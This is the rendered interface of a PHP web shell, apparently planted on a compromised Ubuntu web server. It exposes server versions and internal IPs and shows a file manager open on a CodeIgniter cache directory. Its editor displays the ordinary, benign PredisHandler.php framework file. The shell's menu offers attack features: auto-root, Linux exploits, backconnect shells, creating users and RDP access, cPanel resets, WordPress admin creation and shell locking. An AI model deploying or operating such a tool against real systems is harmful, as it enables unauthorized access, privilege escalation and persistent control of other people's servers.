Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cai /
system /
Cache /
Handlers /
[ HOME SHELL ]
Name
Size
Permission
Action
BaseHandler.php
2.91
KB
-rwxr-x--x
DummyHandler.php
1.73
KB
-rwxr-x--x
FileHandler.php
11.59
KB
-rwxr-x--x
MemcachedHandler.php
7.16
KB
-rwxr-x--x
PredisHandler.php
4.94
KB
-rwxr-x--x
RedisHandler.php
6.52
KB
-rwxr-x--x
WincacheHandler.php
3.13
KB
-rwxr-x--x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : PredisHandler.php
<?php /** * This file is part of CodeIgniter 4 framework. * * (c) CodeIgniter Foundation <admin@codeigniter.com> * * For the full copyright and license information, please view * the LICENSE file that was distributed with this source code. */ namespace CodeIgniter\Cache\Handlers; use CodeIgniter\Exceptions\CriticalError; use Config\Cache; use Exception; use Predis\Client; use Predis\Collection\Iterator\Keyspace; /** * Predis cache handler */ class PredisHandler extends BaseHandler { /** * Default config * * @var array */ protected $config = [ 'scheme' => 'tcp', 'host' => '127.0.0.1', 'password' => null, 'port' => 6379, 'timeout' => 0, ]; /** * Predis connection * * @var Client */ protected $redis; public function __construct(Cache $config) { $this->prefix = $config->prefix; if (isset($config->redis)) { $this->config = array_merge($this->config, $config->redis); } } /** * {@inheritDoc} */ public function initialize() { try { $this->redis = new Client($this->config, ['prefix' => $this->prefix]); $this->redis->time(); } catch (Exception $e) { throw new CriticalError('Cache: Predis connection refused (' . $e->getMessage() . ').'); } } /** * {@inheritDoc} */ public function get(string $key) { $key = static::validateKey($key); $data = array_combine( ['__ci_type', '__ci_value'], $this->redis->hmget($key, ['__ci_type', '__ci_value']) ); if (! isset($data['__ci_type'], $data['__ci_value']) || $data['__ci_value'] === false) { return null; } switch ($data['__ci_type']) { case 'array': case 'object': return unserialize($data['__ci_value']); case 'boolean': case 'integer': case 'double': // Yes, 'double' is returned and NOT 'float' case 'string': case 'NULL': return settype($data['__ci_value'], $data['__ci_type']) ? $data['__ci_value'] : null; case 'resource': default: return null; } } /** * {@inheritDoc} */ public function save(string $key, $value, int $ttl = 60) { $key = static::validateKey($key); switch ($dataType = gettype($value)) { case 'array': case 'object': $value = serialize($value); break; case 'boolean': case 'integer': case 'double': // Yes, 'double' is returned and NOT 'float' case 'string': case 'NULL': break; case 'resource': default: return false; } if (! $this->redis->hmset($key, ['__ci_type' => $dataType, '__ci_value' => $value])) { return false; } $this->redis->expireat($key, time() + $ttl); return true; } /** * {@inheritDoc} */ public function delete(string $key) { $key = static::validateKey($key); return $this->redis->del($key) === 1; } /** * {@inheritDoc} */ public function deleteMatching(string $pattern) { $matchedKeys = []; foreach (new Keyspace($this->redis, $pattern) as $key) { $matchedKeys[] = $key; } return $this->redis->del($matchedKeys); } /** * {@inheritDoc} */ public function increment(string $key, int $offset = 1) { $key = static::validateKey($key); return $this->redis->hincrby($key, 'data', $offset); } /** * {@inheritDoc} */ public function decrement(string $key, int $offset = 1) { $key = static::validateKey($key); return $this->redis->hincrby($key, 'data', -$offset); } /** * {@inheritDoc} */ public function clean() { return $this->redis->flushdb()->getPayload() === 'OK'; } /** * {@inheritDoc} */ public function getCacheInfo() { return $this->redis->info(); } /** * {@inheritDoc} */ public function getMetaData(string $key) { $key = static::validateKey($key); $data = array_combine(['__ci_value'], $this->redis->hmget($key, ['__ci_value'])); if (isset($data['__ci_value']) && $data['__ci_value'] !== false) { $time = time(); $ttl = $this->redis->ttl($key); return [ 'expire' => $ttl > 0 ? time() + $ttl : null, 'mtime' => $time, 'data' => $data['__ci_value'], ]; } return null; } /** * {@inheritDoc} */ public function isSupported(): bool { return class_exists('Predis\Client'); } }
Close